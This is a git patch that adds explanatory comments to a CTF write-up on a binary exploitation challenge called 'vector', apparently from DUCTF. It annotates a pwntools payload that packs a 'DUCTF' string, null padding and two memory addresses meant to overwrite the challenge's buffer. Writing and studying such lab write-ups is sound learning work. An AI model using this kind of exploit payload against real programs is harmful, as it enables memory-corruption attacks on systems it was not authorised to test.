From 4f49b10993c0b4b121c5f330cbc3edca1fc81393 Mon Sep 17 00:00:00 2001 From: vadym Date: Sat, 13 Jul 2024 05:08:46 +0800 Subject: [PATCH] add explanations --- solve/vector/index.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/solve/vector/index.md b/solve/vector/index.md index 34b6cd6..d9845bb 100644 --- a/solve/vector/index.md +++ b/solve/vector/index.md @@ -210,11 +210,11 @@ This is CTF framework for binary exploitation, its only "disadvantage" is it has === "python script" ```py - paylod = flat( - b'DUCTF\x00', - '\x00' * 10, - pack(0x4051e0), - pack(0x4051e0 + 5) + paylod = flat( # concatenate all elements one after another + b'DUCTF\x00', # first first bytes of the buffer is string DUCTF + '\x00' * 10, # fill in remaining 10 character with null bytes + pack(0x4051e0), # address 0x4051e0 converted to 8 bytes in little endian format + pack(0x4051e0 + 5) # address 0x4051e5 converted to 8 bytes in little endian format ) print(hexdump(paylod)) ```